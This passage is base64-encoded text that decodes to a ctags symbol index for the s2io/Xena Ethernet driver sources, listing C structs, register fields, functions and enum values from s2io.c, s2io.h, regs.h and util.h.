UkFOU0FDVElPTglzMmlvLmgJL14JWEVOQV9USFJFRV9TUExJVF9UUkFOU0FDVElPTiAJCT0gMiwk LzsiCWUJZW51bTp4ZW5hX21heF9vdXRzdGFuZGluZ19zcGxpdHMKWEVOQV9UV0VMVkVfU1BMSVRf VFJBTlNBQ1RJT04JczJpby5oCS9eCVhFTkFfVFdFTFZFX1NQTElUX1RSQU5TQUNUSU9OIAkJPSA1 LCQvOyIJZQllbnVtOnhlbmFfbWF4X291dHN0YW5kaW5nX3NwbGl0cwpYRU5BX1RXT19TUExJVF9U UkFOU0FDVElPTglzMmlvLmgJL14JWEVOQV9UV09fU1BMSVRfVFJBTlNBQ1RJT04gCQkJPSAxLCQv OyIJZQllbnVtOnhlbmFfbWF4X291dHN0YW5kaW5nX3NwbGl0cwpYRU5BX2Rldl9jb25maWdfdAly ZWdzLmgJL159IFhFTkFfZGV2X2NvbmZpZ190OyQvOyIJdApYR1hTX0lOVF9NQVNLX1JYR1hTCXJl Z3MuaAk3Mzg7IglkClhHWFNfSU5UX01BU0tfVFhHWFMJcmVncy5oCTczNzsiCWQKWEdYU19JTlRf U1RBVFVTX1JYR1hTCXJlZ3MuaAk3MzU7IglkClhHWFNfSU5UX1NUQVRVU19UWEdYUwlyZWdzLmgJ NzM0OyIJZApYX0ZJRk9fTUFYX0xFTglyZWdzLmgJMzA3OyIJZApYX01BWF9GSUZPUwlyZWdzLmgJ MzA2OyIJZApfUkVHU19ICXJlZ3MuaAkyOyIJZApfUnhEX2Jsb2NrCXMyaW8uaAkvXnR5cGVkZWYg c3RydWN0IF9SeERfYmxvY2skLzsiCXMKX1J4RF90CXMyaW8uaAkvXnR5cGVkZWYgc3RydWN0IF9S eERfdCQvOyIJcwpfUzJJT19ICXMyaW8uaAkyOyIJZApfVHhECXMyaW8uaAkvXnR5cGVkZWYgc3Ry dWN0IF9UeEQkLzsiCXMKX1R4RklGT19lbGVtZW50CXMyaW8uaAkvXnR5cGVkZWYgc3RydWN0IF9U eEZJRk9fZWxlbWVudCQvOyIJcwpfWEVOQV9kZXZfY29uZmlnCXJlZ3MuaAkvXnR5cGVkZWYgc3Ry dWN0IF9YRU5BX2Rldl9jb25maWcgJC87IglzCl9fZGV2aW5pdGRhdGEJczJpby5jCS9ec3RhdGlj IHN0cnVjdCBwY2lfZGV2aWNlX2lkIHMyaW9fdGJsW10gX19kZXZpbml0ZGF0YT0geyQvOyIJdglm aWxlOgpfZlJlc291cmNlCXMyaW8uaAkvXiAgICB1MzIgICAgIF9mUmVzb3VyY2U7IFwvKiBUcmFj a3MgcmVzb3VyY2VzIGFsbG9jZWQgKlwvJC87IgltCXN0cnVjdDpzMmlvX25pYwpfcnhfY3Vycl9n ZXRfaW5mb190CXMyaW8uaAkvXnR5cGVkZWYgc3RydWN0IF9yeF9jdXJyX2dldF9pbmZvX3QgeyQv OyIJcwpfcnhfcmluZ19wcmlfbWFwCXMyaW8uaAkvXiAgICB1MzIgICAgIF9yeF9yaW5nX3ByaV9t YXA7JC87IgltCXN0cnVjdDptYWNfaW5mbwphZGFwdF9jdHJsX29yZwlzMmlvLmgJL14JdTY0CWFk YXB0X2N0cmxfb3JnOyQvOyIJbQlzdHJ1Y3Q6czJpb19uaWMKYWRhcHRlcl9jb250cm9sCXJlZ3Mu aAkvXiAgICB1NjQgYWRhcHRlcl9jb250cm9sOyQvOyIJbQlzdHJ1Y3Q6X1hFTkFfZGV2X2NvbmZp ZwphZGFwdGVyX3N0YXR1cwlyZWdzLmgJL14gICAgdTY0IGFkYXB0ZXJfc3RhdHVzOyQvOyIJbQlz dHJ1Y3Q6X1hFTkFfZGV2X2NvbmZpZwphZGRyCXMyaW8uaAkvXiAgICBjaGFyICBhZGRyW0VUSF9B TEVOXTskLzsiCW0Jc3RydWN0OgphbGFybUludHJIYW5kbGVyCXMyaW8uYwkvXnN0YXRpYyB2b2lk IGFsYXJtSW50ckhhbmRsZXIoc3RydWN0IHMyaW9fbmljICpuaWMpJC87IglmCWZpbGU6CmFsbF9t dWx0aV9wb3MJczJpby5oCS9eICAgIHUxNiBhbGxfbXVsdGlfcG9zOyQvOyIJbQlzdHJ1Y3Q6czJp b19uaWMKYmFyMAlzMmlvLmgJL14gICAgY2FkZHJfdCBiYXIwOyQvOyIJbQlzdHJ1Y3Q6czJpb19u aWMKYmFyMQlzMmlvLmgJL14gICAgY2FkZHJfdCBiYXIxOyQvOyIJbQlzdHJ1Y3Q6czJpb19uaWMK YmxvY2tfY291bnQJczJpby5oCS9eICAgIGludCBibG9ja19jb3VudFtNQVhfUlhfUklOR1NdOyQv OyIJbQlzdHJ1Y3Q6czJpb19uaWMKYmxvY2tfZG1hX2FkZHIJczJpby5oCS9eICAgIHU2NCAgICAg YmxvY2tfZG1hX2FkZHI7JC87IgltCXN0cnVjdDpyeF9ibG9ja19pbmZvCmJsb2NrX2luZGV4CXMy aW8uaAkvXiAgICB1MzIgICAgIGJsb2NrX2luZGV4OyQvOyIJbQlzdHJ1Y3Q6X3J4X2N1cnJfZ2V0 X2luZm9fdApibG9ja192aXJ0X2FkZHIJczJpby5oCS9eICAgIFJ4RF90ICAgKmJsb2NrX3ZpcnRf YWRkcjskLzsiCW0Jc3RydWN0OnJ4X2Jsb2NrX2luZm8KYnVmZmVyCXV0aWwuaAkvXgl1bnNpZ25l ZCBjaGFyICpidWZmZXI7JC87IgltCXN0cnVjdDppb2N0bEluZm8KYnVmZmVyMQl1dGlsLmgJL14J dW5zaWduZWQgY2hhciAqYnVmZmVyMTskLzsiCW0Jc3RydWN0OmlvY3RsSW5mbwpidWZmZXIyCXV0 aWwuaAkvXgl1bnNpZ25lZCBjaGFyICpidWZmZXIyOyQvOyIJbQlzdHJ1Y3Q6aW9jdGxJbmZvCmJ1 ZmZlcjMJdXRpbC5oCS9eCXVuc2lnbmVkIGNoYXIgKmJ1ZmZlcjM7JC87IgltCXN0cnVjdDppb2N0 bEluZm8KYnVmZmVyNAl1dGlsLmgJL14JdW5zaWduZWQgY2hhciAqYnVmZmVyNDskLzsiCW0Jc3Ry dWN0OmlvY3RsSW5mbwpidWZmZXI1CXV0aWwuaAkvXgl1bnNpZ25lZCBjaGFyICpidWZmZXI1OyQv OyIJbQlzdHJ1Y3Q6aW9jdGxJbmZvCmJ1ZmZlcjYJdXRpbC5oCS9eCXVuc2lnbmVkIGNoYXIgKmJ1 ZmZlcjY7JC87IgltCXN0cnVjdDppb2N0bEluZm8KY2FjaGVfbGluZQlzMmlvLmgJL14gICAgdTgg IGNhY2hlX2xpbmU7JC87IgltCXN0cnVjdDpzMmlvX25pYwpjYmFyMF8xCXMyaW8uaAkvXiAgICB1 MzIgY2JhcjBfMTskLzsiCW0Jc3RydWN0OnMyaW9fbmljCmNiYXIwXzIJczJpby5oCS9eICAgIHUz MiBjYmFyMF8yOyQvOyIJbQlzdHJ1Y3Q6czJpb19uaWMKY2JhcjFfMQlzMmlvLmgJL14gICAgdTMy IGNiYXIxXzE7JC87IgltCXN0cnVjdDpzMmlvX25pYwpjYmFyMV8yCXMyaW8uaAkvXiAgICB1MzIg Y2JhcjFfMjskLzsiCW0Jc3RydWN0OnMyaW9fbmljCmNjbWQJczJpby5oCS9eICAgIHUxNiBjY21k OyQvOyIJbQlzdHJ1Y3Q6czJpb19uaWMKY2lycQlzMmlvLmgJL14JdTMyIGNpcnE7JC87IgltCXN0 cnVjdDpzMmlvX25pYwpjb25maWcJczJpby5oCS9eICAgIHN0cnVjdCBjb25maWdfcGFyYW0gY29u ZmlnOyQvOyIJbQlzdHJ1Y3Q6czJpb19uaWMKY29uZmlnX3BhcmFtCXMyaW8uaAkvXnN0cnVjdCBj b25maWdfcGFyYW0gJC87IglzCmNvbmZpZ19zcGFjZQlzMmlvLmgJL14gICAgdTMyIGNvbmZpZ19z cGFjZVsyNTZcL3NpemVvZih1MzIpXTskLzsiCW0Jc3RydWN0OnMyaW9fbmljCmRlYnVnX2xldmVs CXMyaW8uaAkvXmludCBkZWJ1Z19sZXZlbCA9IEVSUl9EQkc7IFwvKiBEZWZhdWx0IGxldmVsLiAq XC8kLzsiCXYKZGVmTWFjQWRkcglzMmlvLmgJL14gICAgbWFjYWRkcl90IGRlZk1hY0FkZHJbTUFY X01BQ19TVVBQT1JURURdOyQvOyIJbQlzdHJ1Y3Q6czJpb19uaWMKZGV2CXMyaW8uaAkvXiAgICBz dHJ1Y3QgbmV0X2RldmljZSAqZGV2OyQvOyIJbQlzdHJ1Y3Q6czJpb19uaWMKZGV2aWNlX2Nsb3Nl X2ZsYWcJczJpby5oCS9eICAgIGludCAgICAgZGV2aWNlX2Nsb3NlX2ZsYWc7JC87IgltCXN0cnVj dDpzMmlvX25pYwpkZXZpY2VfZW5hYmxlZF9vbmNlCXMyaW8uaAkvXiAgICBpbnQgICAgIGRldmlj ZV9lbmFibGVkX29uY2U7JC87IgltCXN0cnVjdDpzMmlvX25pYwpkZXZpY2VfaWQJczJpby5oCS9e ICAgIHUxNiBkZXZpY2VfaWQ7JC87IgltCXN0cnVjdDpzMmlvX25pYwpkbWFhZGRyX3QJczJpby5o CS9eCXR5cGVkZWYgZG1hX2FkZHJfdCBkbWFhZGRyX3Q7JC87Igl0CmRtYWFkZHJfdAlzMmlvLmgJ L14JdHlwZWRlZiB1NjQgZG1hYWRkcl90OyQvOyIJdApkdHhfY29udHJvbAlyZWdzLmgJL14gICAg dTY0IGR0eF9jb250cm9sOyQvOyIJbQlzdHJ1Y3Q6X1hFTkFfZGV2X2NvbmZpZwpkdW1teQlzMmlv LmgJL14gICAgdTMyIGR1bW15OyQvOyIJbQlzdHJ1Y3Q6X1J4RF9ibG9jawpkdW1teQlzMmlvLmgJ L14gICAgdTMyIGR1bW15OyQvOyIJbQlzdHJ1Y3Q6X1J4RF90CmR1bW15CXMyaW8uaAkvXiAgICB1 MzIgZHVtbXk7JC87IgltCXN0cnVjdDpfVHhECmR1bW15CXMyaW8uaAkvXiAgICB1MzIgZHVtbXk7 JC87IgltCXN0cnVjdDpfVHhGSUZPX2VsZW1lbnQKZW5fZGlzX2FibGVfTmljSW50cnMJczJpby5j CS9ec3RhdGljIHZvaWQgZW5fZGlzX2FibGVfTmljSW50cnMoc3RydWN0IHMyaW9fbmljICpuaWMs IHUxNiBtYXNrLCBpbnQgZmxhZykkLzsiCWYJZmlsZToKZXRoX3Rlc3RfcmN2cglzMmlvLmMJL15p bnQgZXRoX3Rlc3RfcmN2cihzdHJ1Y3Qgc2tfYnVmZiAqc2tiLCBzdHJ1Y3QgbmV0X2RldmljZSAq ZGV2LCAkLzsiCWYKZXRodG9vbF90ZXN0CXMyaW8uYwkvXnN0YXRpYyBzdHJ1Y3QgcGFja2V0X3R5 cGUgZXRodG9vbF90ZXN0ID0gJC87Igl2CWZpbGU6CmZOb1Nub29wCXMyaW8uaAkvXiAgICB1OCAg ICAgIGZOb1Nub29wOyAgICAgICAgJC87IgltCXN0cnVjdDp0eF9maWZvX2NvbmZpZwpmTm9Tbm9v cAlzMmlvLmgJL14gICAgdTggIGZOb1Nub29wOyAgICAgICAgJC87IgltCXN0cnVjdDpyeF9yaW5n X2NvbmZpZwpmaWZvX2xlbglzMmlvLmMJL15zdGF0aWMgdTMyIGZpZm9fbGVuW01BWF9UWF9GSUZP U107ICQvOyIJdglmaWxlOgpmaWZvX2xlbglzMmlvLmgJL14gICAgdTMyICAgICBmaWZvX2xlbjsk LzsiCW0Jc3RydWN0OgpmaWZvX251bQlzMmlvLmMJL15zdGF0aWMgdTMyIGZpZm9fbnVtOyQvOyIJ dglmaWxlOgpmaWxsX3J4X2J1ZmZlcnMJczJpby5jCS9eaW50IGZpbGxfcnhfYnVmZmVycyhzdHJ1 Y3QgczJpb19uaWMgKm5pYywgaW50IHJpbmdfbm8pJC87IglmCmZsYXNoX2FsYXJtcwlyZWdzLmgJ L14gICAgdTY0IGZsYXNoX2FsYXJtczskLzsiCW0Jc3RydWN0Ol9YRU5BX2Rldl9jb25maWcKZmxz aF9pbnRfbWFzawlyZWdzLmgJL14gICAgdTY0IGZsc2hfaW50X21hc2s7JC87IgltCXN0cnVjdDpf WEVOQV9kZXZfY29uZmlnCmZsc2hfaW50X3JlZwlyZWdzLmgJL14gICAgdTY0IGZsc2hfaW50X3Jl ZzskLzsiCW0Jc3RydWN0Ol9YRU5BX2Rldl9jb25maWcKZnJhbWVfbGVuCXMyaW8uYwkvXnN0YXRp YyB1MzIgZnJhbWVfbGVuW01BWF9SWF9SSU5HU107JC87Igl2CWZpbGU6CmZyZWVSeEJ1ZmZlcnMJ czJpby5jCS9ec3RhdGljIHZvaWQgZnJlZVJ4QnVmZmVycyhzdHJ1Y3QgczJpb19uaWMgKnNwKSQv OyIJZglmaWxlOgpmcmVlU2hhcmVkTWVtCXMyaW8uYwkvXnN0YXRpYyB2b2lkIGZyZWVTaGFyZWRN ZW0oc3RydWN0IHMyaW9fbmljICpuaWMpJC87IglmCWZpbGU6CmZyZWVUeEJ1ZmZlcnMJczJpby5j CS9edm9pZCBmcmVlVHhCdWZmZXJzKHN0cnVjdCBzMmlvX25pYyAqbmljKSQvOyIJZgpnZW5lcmFs X2ludF9tYXNrCXJlZ3MuaAkvXiAgICB1NjQgZ2VuZXJhbF9pbnRfbWFzazskLzsiCW0Jc3RydWN0 Ol9YRU5BX2Rldl9jb25maWcKZ2VuZXJhbF9pbnRfc3RhdHVzCXJlZ3MuaAkvXiAgICB1NjQgZ2Vu ZXJhbF9pbnRfc3RhdHVzOyQvOyIJbQlzdHJ1Y3Q6X1hFTkFfZGV2X2NvbmZpZwpnZXRfeGVuYV9y ZXZfaWQJczJpby5jCS9eaW50IGdldF94ZW5hX3Jldl9pZChzdHJ1Y3QgcGNpX2RldiAqcGRldikk LzsiCWYKZ3Bpb19hbGFybXMJcmVncy5oCS9eICAgIHU2NCBncGlvX2FsYXJtczskLzsiCW0Jc3Ry dWN0Ol9YRU5BX2Rldl9jb25maWcKZ3Bpb19jb250cm9sCXJlZ3MuaAkvXiAgICB1NjQgZ3Bpb19j b250cm9sOyQvOyIJbQlzdHJ1Y3Q6X1hFTkFfZGV2X2NvbmZpZwpncGlvX2ludF9tYXNrCXJlZ3Mu aAkvXiAgICB1NjQgZ3Bpb19pbnRfbWFzazskLzsiCW0Jc3RydWN0Ol9YRU5BX2Rldl9jb25maWcK Z3Bpb19pbnRfcmVnCXJlZ3MuaAkvXiAgICB1NjQgZ3Bpb19pbnRfcmVnOyQvOyIJbQlzdHJ1Y3Q6 X1hFTkFfZGV2X2NvbmZpZwpoaWdoX2RtYV9mbGFnCXMyaW8uaAkvXiAgICBpbnQgICAgIGhpZ2hf ZG1hX2ZsYWc7JC87IgltCXN0cnVjdDpzMmlvX25pYwppMmNfY29udHJvbAlyZWdzLmgJL14gICAg dTY0IGkyY19jb250cm9sOyQvOyIJbQlzdHJ1Y3Q6X1hFTkFfZGV2X2NvbmZpZwppZF90aW1lcglz MmlvLmgJL14Jc3RydWN0IHRpbWVyX2xpc3QgaWRfdGltZXI7JC87IgltCXN0cnVjdDpzMmlvX25p YwppaWNfYWxhcm1zCXJlZ3MuaAkvXiAgICB1NjQgaWljX2FsYXJtczsgJC87IgltCXN0cnVjdDpf WEVOQV9kZXZfY29uZmlnCmlpY19pbnRfbWFzawlyZWdzLmgJL14gICAgdTY0IGlpY19pbnRfbWFz azsgJC87IgltCXN0cnVjdDpfWEVOQV9kZXZfY29uZmlnCmlpY19pbnRfcmVnCXJlZ3MuaAkvXiAg ICB1NjQgaWljX2ludF9yZWc7ICQvOyIJbQlzdHJ1Y3Q6X1hFTkFfZGV2X2NvbmZpZwppbml0Tmlj CXMyaW8uYwkvXnN0YXRpYyBpbnQgaW5pdE5pYyhzdHJ1Y3QgczJpb19uaWMgKm5pYykkLzsiCWYJ ZmlsZToKaW5pdFNoYXJlZE1lbQlzMmlvLmMJL15zdGF0aWMgaW50IGluaXRTaGFyZWRNZW0oc3Ry dWN0IHMyaW9fbmljICpuaWMpJC87IglmCWZpbGU6CmludF9jbnQJczJpby5oCS9eCWludCBpbnRf Y250OyQvOyIJbQlzdHJ1Y3Q6czJpb19uaWMKaW52CXMyaW8uYwkvXnUzMiBpbnYodTMyIGRhdGEp JC87IglmCmlvY3RsSW5mbwl1dGlsLmgJL150eXBlZGVmIHN0cnVjdCBpb2N0bEluZm8geyQvOyIJ cwppb2N0bEluZm9fdAl1dGlsLmgJL159aW9jdGxJbmZvX3Q7CSQvOyIJdAppcnEJczJpby5oCS9e ICAgIHUzMiBpcnE7JC87IgltCXN0cnVjdDpzMmlvX25pYwppc3JfbG9jawlzMmlvLmgJL14Jc3Bp bmxvY2tfdCBpc3JfbG9jazskLzsiCW0Jc3RydWN0OnMyaW9fbmljCmxhdGVuY3lfdGltZXIJczJp by5jCS9ec3RhdGljIHU4IGxhdGVuY3lfdGltZXI9MHhmZjskLzsiCXYJZmlsZToKbG9vcF9wa3Rf Y250CXMyaW8uaAkvXglpbnQgbG9vcF9wa3RfY250OyQvOyIJbQlzdHJ1Y3Q6czJpb19uaWMKbHNv X2Vycl9hbGFybQlyZWdzLmgJL14gICAgdTY0IGxzb19lcnJfYWxhcm07JC87IgltCXN0cnVjdDpf WEVOQV9kZXZfY29uZmlnCmxzb19lcnJfbWFzawlyZWdzLmgJL14gICAgdTY0IGxzb19lcnJfbWFz azskLzsiCW0Jc3RydWN0Ol9YRU5BX2Rldl9jb25maWcKbHNvX2Vycl9yZWcJcmVncy5oCS9eICAg IHU2NCBsc29fZXJyX3JlZzskLzsiCW0Jc3RydWN0Ol9YRU5BX2Rldl9jb25maWcKbV9jYXN0X2Zs ZwlzMmlvLmgJL14gICAgdTE2IG1fY2FzdF9mbGc7JC87IgltCXN0cnVjdDpzMmlvX25pYwptYWNf YWRkcglzMmlvLmgJL14gICAgdTggbWFjX2FkZHJbRVRIX0FMRU5dOyQvOyIJbQlzdHJ1Y3Q6bWFj X2FkZHIKbWFjX2FkZHIJczJpby5oCS9edHlwZWRlZiBzdHJ1Y3QgbWFjX2FkZHIgeyQvOyIJcwpt YWNfY2ZnCXJlZ3MuaAkvXiAgICAgICAgdTY0IG1hY19jZmc7JC87IgltCXN0cnVjdDpfWEVOQV9k ZXZfY29uZmlnCm1hY19jb250cm9sCXMyaW8uaAkvXiAgICBtYWNfaW5mb190IG1hY19jb250cm9s OyQvOyIJbQlzdHJ1Y3Q6czJpb19uaWMKbWFjX2RlYnVnX2N0cmwJcmVncy5oCS9eICAgICAgICB1 NjQgbWFjX2RlYnVnX2N0cmw7CVwvKiBUT0RPOiBJbiAxLjUgc3BlYyB0aGlzIHJlZ2lzdGVyIGlz IG1pc3NpbmcuICpcLyQvOyIJbQlzdHJ1Y3Q6X1hFTkFfZGV2X2NvbmZpZwptYWNfaW5mbwlzMmlv LmgJL150eXBlZGVmIHN0cnVjdCBtYWNfaW5mbyB7JC87IglzCm1hY19pbmZvX3QJczJpby5oCS9e fSBtYWNfaW5mb190OyQvOyIJdAptYWNfaW50X21hc2sJcmVncy5oCS9eICAgICAgICB1NjQgbWFj X2ludF9tYXNrOyQvOyIJbQlzdHJ1Y3Q6X1hFTkFfZGV2X2NvbmZpZwptYWNfaW50X3N0YXR1cwly ZWdzLmgJL14gICAgICAgIHU2NCBtYWNfaW50X3N0YXR1czskLzsiCW0Jc3RydWN0Ol9YRU5BX2Rl dl9jb25maWcKbWFjX2xpbmtfdXRpbAlyZWdzLmgJL14gICAgICAgIHU2NCBtYWNfbGlua191dGls OyQvOyIJbQlzdHJ1Y3Q6X1hFTkFfZGV2X2NvbmZpZwptYWNfcm1hY19lcnJfYWxhcm0JcmVncy5o CS9eICAgICAgICB1NjQgbWFjX3JtYWNfZXJyX2FsYXJtOyQvOyIJbQlzdHJ1Y3Q6X1hFTkFfZGV2 X2NvbmZpZwptYWNfcm1hY19lcnJfbWFzawlyZWdzLmgJL14gICAgICAgIHU2NCBtYWNfcm1hY19l cnJfbWFzazskLzsiCW0Jc3RydWN0Ol9YRU5BX2Rldl9jb25maWcKbWFjX3JtYWNfZXJyX3JlZwly ZWdzLmgJL14gICAgICAgIHU2NCBtYWNfcm1hY19lcnJfcmVnOyQvOyIJbQlzdHJ1Y3Q6X1hFTkFf ZGV2X2NvbmZpZwptYWNfdG1hY19lcnJfYWxhcm0JcmVncy5oCS9eICAgICAgICB1NjQgbWFjX3Rt YWNfZXJyX2FsYXJtOyQvOyIJbQlzdHJ1Y3Q6X1hFTkFfZGV2X2NvbmZpZwptYWNfdG1hY19lcnJf bWFzawlyZWdzLmgJL14gICAgICAgIHU2NCBtYWNfdG1hY19lcnJfbWFzazskLzsiCW0Jc3RydWN0 Ol9YRU5BX2Rldl9jb25maWcKbWFjX3RtYWNfZXJyX3JlZwlyZWdzLmgJL14gICAgICAgIHU2NCBt YWNfdG1hY19lcnJfcmVnOyQvOyIJbQlzdHJ1Y3Q6X1hFTkFfZGV2X2NvbmZpZwptYWNhZGRyX3QJ czJpby5oCS9efW1hY2FkZHJfdDskLzsiCXQKbWFpbglyZWdkdW1wLmMJL15pbnQgbWFpbih2b2lk KSQvOyIJZgptYWluCXV0aWwuYwkvXmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikkLzsi CWYKbWNfYWRkcl9jb3VudAlzMmlvLmgJL14JdTE2CW1jX2FkZHJfY291bnQ7JC87IgltCXN0cnVj dDpzMmlvX25pYwptY19kZWJ1Z19jdHJsCXJlZ3MuaAkvXiAgICAgICAgdTY0IG1jX2RlYnVnX2N0 cmw7CVwvKiBUT0RPOiBJbiAxLjUgc3BlYyB0aGlzIHJlZ2lzdGVyIGlzIG1pc3NpbmcuICpcLyQv OyIJbQlzdHJ1Y3Q6X1hFTkFfZGV2X2NvbmZpZwptY19lcnJfYWxhcm0JcmVncy5oCS9eICAgICAg ICB1NjQgbWNfZXJyX2FsYXJtOyQvOyIJbQlzdHJ1Y3Q6X1hFTkFfZGV2X2NvbmZpZwptY19lcnJf bWFzawlyZWdzLmgJL14gICAgICAgIHU2NCBtY19lcnJfbWFzazskLzsiCW0Jc3RydWN0Ol9YRU5B X2Rldl9jb25maWcKbWNfZXJyX3JlZwlyZWdzLmgJL14gICAgICAgIHU2NCBtY19lcnJfcmVnOyQv OyIJbQlzdHJ1Y3Q6X1hFTkFfZGV2X2NvbmZpZwptY19pbnRfbWFzawlyZWdzLmgJL14gICAgICAg IHU2NCBtY19pbnRfbWFzazskLzsiCW0Jc3RydWN0Ol9YRU5BX2Rldl9jb25maWcKbWNfaW50X3N0 YXR1cwlyZWdzLmgJL14gICAgICAgIHU2NCBtY19pbnRfc3RhdHVzOyQvOyIJbQlzdHJ1Y3Q6X1hF TkFfZGV2X2NvbmZpZwptY19wYXVzZV90aHJlc2hfcTBxMwlyZWdzLmgJL14gICAgICAgIHU2NCBt Y19wYXVzZV90aHJlc2hfcTBxMzskLzsiCW0Jc3RydWN0Ol9YRU5BX2Rldl9jb25maWcKbWNfcGF1 c2VfdGhyZXNoX3E0cTcJcmVncy5oCS9eICAgICAgICB1NjQgbWNfcGF1c2VfdGhyZXNoX3E0cTc7 JC87IgltCXN0cnVjdDpfWEVOQV9kZXZfY29uZmlnCm1jX3JlZF90aHJlc2hfcQlyZWdzLmgJL14g ICAgICAgIHU2NCBtY19yZWRfdGhyZXNoX3FbOF07JC87IgltCXN0cnVjdDpfWEVOQV9kZXZfY29u ZmlnCm1jX3JsZHJhbV9pbnRlcmxlYXZlCXJlZ3MuaAkvXiAgICAgICAgdTY0IG1jX3JsZHJhbV9p bnRlcmxlYXZlOyQvOyIJbQlzdHJ1Y3Q6X1hFTkFfZGV2X2NvbmZpZwptY19ybGRyYW1fbXJzCXJl Z3MuaAkvXiAgICAgICAgdTY0IG1jX3JsZHJhbV9tcnM7JC87IgltCXN0cnVjdDpfWEVOQV9kZXZf Y29uZmlnCm1jX3JsZHJhbV9yZWZfcGVyCXJlZ3MuaAkvXgkJdTY0IG1jX3JsZHJhbV9yZWZfcGVy OyQvOyIJbQlzdHJ1Y3Q6X1hFTkFfZGV2X2NvbmZpZwptY19ybGRyYW1fdGVzdF9hZGQJcmVncy5o CS9eCQl1NjQgbWNfcmxkcmFtX3Rlc3RfYWRkOyQvOyIJbQlzdHJ1Y3Q6X1hFTkFfZGV2X2NvbmZp ZwptY19ybGRyYW1fdGVzdF9jdHJsCXJlZ3MuaAkvXgkJdTY0IG1jX3JsZHJhbV90ZXN0X2N0cmw7 JC87IgltCXN0cnVjdDpfWEVOQV9kZXZfY29uZmlnCm1jX3JsZHJhbV90ZXN0X2QwCXJlZ3MuaAkv XgkJdTY0IG1jX3JsZHJhbV90ZXN0X2QwOyQvOyIJbQlzdHJ1Y3Q6X1hFTkFfZGV2X2NvbmZpZwpt Y19ybGRyYW1fdGVzdF9kMQlyZWdzLmgJL14JCXU2NCBtY19ybGRyYW1fdGVzdF9kMTskLzsiCW0J c3RydWN0Ol9YRU5BX2Rldl9jb25maWcKbWNfcmxkcmFtX3Rlc3RfZDIJcmVncy5oCS9eCQl1NjQg bWNfcmxkcmFtX3Rlc3RfZDI7JC87IgltCXN0cnVjdDpfWEVOQV9kZXZfY29uZmlnCm1kaW9fYWxh cm1zCXJlZ3MuaAkvXiAgICB1NjQgbWRpb19hbGFybXM7JC87IgltCXN0cnVjdDpfWEVOQV9kZXZf Y29uZmlnCm1kaW9fY29udHJvbAlyZWdzLmgJL14gICAgdTY0IG1kaW9fY29udHJvbDskLzsiCW0J c3RydWN0Ol9YRU5BX2Rldl9jb25maWcKbWRpb19pbnRfbWFzawlyZWdzLmgJL14gICAgdTY0IG1k aW9faW50X21hc2s7JC87IgltCXN0cnVjdDpfWEVOQV9kZXZfY29uZmlnCm1kaW9faW50X3JlZwly ZWdzLmgJL14gICAgdTY0IG1kaW9faW50X3JlZzskLzsiCW0Jc3RydWN0Ol9YRU5BX2Rldl9jb25m aWcKbmFtZQlzMmlvLmgJL14gICAgY2hhciBuYW1lWzMyXTsgJC87IgltCXN0cnVjdDpzMmlvX25p YwpuZXdfcmRfcmVxX2NudAlzMmlvLmgJL14gICAgdTMyIG5ld19yZF9yZXFfY250OyAkLzsiCW0J c3RydWN0OnN0YXRfYmxvY2sKbmV3X3JkX3JlcV9ydHJ5X2NudAlzMmlvLmgJL14gICAgdTMyIG5l d19yZF9yZXFfcnRyeV9jbnQ7JC87IgltCXN0cnVjdDpzdGF0X2Jsb2NrCm5ld193cl9yZXFfY250 CXMyaW8uaAkvXiAgICB1MzIgbmV3X3dyX3JlcV9jbnQ7ICQvOyIJbQlzdHJ1Y3Q6c3RhdF9ibG9j awpuZXdfd3JfcmVxX3J0cnlfY250CXMyaW8uaAkvXiAgICB1MzIgbmV3X3dyX3JlcV9ydHJ5X2Nu dDsgJC87IgltCXN0cnVjdDpzdGF0X2Jsb2NrCm5pY190CXMyaW8uaAkvXn1uaWNfdDsJXC9cLyBf X2NhY2hlbGluZV9hbGlnbmVkOyQvOyIJdApvZmZzZXQJczJpby5oCS9eICAgIHUzMiAgICAgb2Zm c2V0OyAgJC87IgltCXN0cnVjdDoKb2Zmc2V0CXMyaW8uaAkvXiAgICB1MzIgICAgIG9mZnNldDsk LzsiCW0Jc3RydWN0Ol9yeF9jdXJyX2dldF9pbmZvX3QKb2Zmc2V0CXV0aWwuaAkvXglpbnQgb2Zm c2V0OyQvOyIJbQlzdHJ1Y3Q6aW9jdGxJbmZvCnBOZXh0X1J4RF9CbGtfcGh5c2ljYWwJczJpby5o CS9eICAgIHU2NCBwTmV4dF9SeERfQmxrX3BoeXNpY2FsOyAgICAgICBcLyogQnVmZjBfcHRyLiQv OyIJbQlzdHJ1Y3Q6X1J4RF9ibG9jawpwY2NfZW5hYmxlCXJlZ3MuaAkvXgl1NjQgcGNjX2VuYWJs ZTskLzsiCW0Jc3RydWN0Ol9YRU5BX2Rldl9jb25maWcKcGNjX2Vycl9hbGFybQlyZWdzLmgJL14g ICAgdTY0IHBjY19lcnJfYWxhcm07JC87IgltCXN0cnVjdDpfWEVOQV9kZXZfY29uZmlnCnBjY19l cnJfbWFzawlyZWdzLmgJL14gICAgdTY0IHBjY19lcnJfbWFzazskLzsiCW0Jc3RydWN0Ol9YRU5B X2Rldl9jb25maWcKcGNjX2Vycl9yZWcJcmVncy5oCS9eICAgIHU2NCBwY2NfZXJyX3JlZzskLzsi CW0Jc3RydWN0Ol9YRU5BX2Rldl9jb25maWcKcGNpeF9jbWQJczJpby5oCS9eICAgIHUxNiBwY2l4 X2NtZDskLzsiCW0Jc3RydWN0OnMyaW9fbmljCnBkZXYJczJpby5oCS9eICAgIHN0cnVjdCBwY2lf ZGV2ICAgICpwZGV2OyQvOyIJbQlzdHJ1Y3Q6czJpb19uaWMKcGZjX2Vycl9hbGFybQlyZWdzLmgJ L14gICAgdTY0IHBmY19lcnJfYWxhcm07JC87IgltCXN0cnVjdDpfWEVOQV9kZXZfY29uZmlnCnBm Y19lcnJfbWFzawlyZWdzLmgJL14gICAgdTY0IHBmY19lcnJfbWFzazskLzsiCW0Jc3RydWN0Ol9Y RU5BX2Rldl9jb25maWcKcGZjX2Vycl9yZWcJcmVncy5oCS9eICAgIHU2NCBwZmNfZXJyX3JlZzsk LzsiCW0Jc3RydWN0Ol9YRU5BX2Rldl9jb25maWcKcGljX2NvbnRyb2wJcmVncy5oCS9eICAgIHU2 NCBwaWNfY29udHJvbDskLzsiCW0Jc3RydWN0Ol9YRU5BX2Rldl9jb25maWcKcGljX2ludF9tYXNr CXJlZ3MuaAkvXiAgICB1NjQgcGljX2ludF9tYXNrOyQvOyIJbQlzdHJ1Y3Q6X1hFTkFfZGV2X2Nv 